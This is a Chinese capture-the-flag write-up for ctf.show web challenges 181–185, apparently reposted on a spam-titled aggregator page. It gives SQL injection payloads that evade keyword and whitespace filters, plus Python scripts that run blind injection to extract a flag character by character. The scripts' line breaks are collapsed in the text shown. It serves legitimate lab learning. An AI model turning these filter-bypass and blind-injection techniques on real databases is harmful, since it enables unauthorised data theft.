当前位置: 首页> 文旅> 文化 > seo推广文章_公众号运营技巧_深圳网络营销软件_珠海网站设计

seo推广文章_公众号运营技巧_深圳网络营销软件_珠海网站设计

时间:2025/7/12 2:05:44来源:https://blog.csdn.net/uwvwko/article/details/147028983 浏览次数:0次
seo推广文章_公众号运营技巧_深圳网络营销软件_珠海网站设计
web入门181

-1'order%0cby%0c3--%0c

字段数为3

这题过滤的比较多,我们就直接:'or%0cusername='flag

‘||(username)='flag

'||(username)like'flag

也可以

web入门182

过滤了很多,我们依照前面的题:username=flag

这里过滤了flag

我们就可以用%
  • 在 SQL 的 LIKE 子句中,通配符 % 表示任意长度的字符串(包括空字符串)。
  • 例如:
SELECT * FROM users WHERE username LIKE '%admin%';

这段查询会匹配所有包含 admin 的用户名

payload:

'||`username`like'fla%

'or(username)like'fla%

web入门183

注:从这题开始,后面题很多都要用到脚本力

给了我们查询拼接的语句和返回值,我们就可以写个脚本

import requestsstr="1234567890-qwertyuiopasdfghjklzxcvbnm{}"
flag=''
for i in range(1,50):for j in str:url = 'http://c0c4988a-c2f0-4244-9835-af6f4308e579.challenge.ctf.show/select-waf.php'payload = {'tableName':'(ctfshow_user)where(pass)like"ctfshow{}%"'.format(flag+j)}#%是like中表示任意长度的字符串(包括空字符串)http=requests.post(url,data=payload)if http.text.find('user_count = 1;')>0:flag+=jprint(flag)breakelse:continue

web入门184

这题把union,select,where给过滤了

那我们就用having

HAVING:在分组之后对聚合结果进行过滤

HAVING 必须与 GROUP BY 一起使用。如果未使用 GROUP BY,则无法对数据进行分组,HAVING 将失去意义

还有regexp匹配

REGEXP(或 RLIKE,在某些数据库中是等价的)是一个用于模式匹配的操作符,它允许你使用正则表达式来搜索数据

脚本:

import requests
import sysstr="{1234567890-qwertyuiopasdfghjklzxcvbnm}"
url = 'http://6aa75ed8-0da3-4f10-8da2-5273e22b95b4.challenge.ctf.show/select-waf.php'
flag=''
answer=''
for i in range(1,50):for j in str:d =hex(ord(j))[2:]payload = {'tableName':'ctfshow_user group by pass having pass regexp(0x{})'.format(flag+d)}response=requests.post(url,data=payload)       if 'user_count = 1'in response.text:flag+=danswer+=jprint(answer)breakelse:continue

web入门185

这里是把数字给毙了

参考了下其他师傅的解法,通过

1——true

2——true+true

3——true+true+true

.......

通过这样对数字进行替换

大佬的脚本:(这写的是真的nb)

from requests import post
from string import digits, ascii_lowercaseURL = "http://23bc03a1-e5ce-4acd-b632-9d531a57877a.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user group by pass having substr(pass,{},{}) regexp char({})"flag = "ctfshow{"def encode(param):res = ""if isinstance(param, int):for i in range(param):res += "true+"else:for i in range(ord(param)):res += "true+"#ord用来返回ascii值return res[:-1]while True:for c in "-}" + digits + ascii_lowercase:data = {"tableName": payload.format(encode(len(flag) + 1), encode(1), encode(c))}if "user_count = 0" in post(URL, data).text:continueelse:flag = flag + cprint(flag)if c == "}":exit()break

关键字:seo推广文章_公众号运营技巧_深圳网络营销软件_珠海网站设计

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: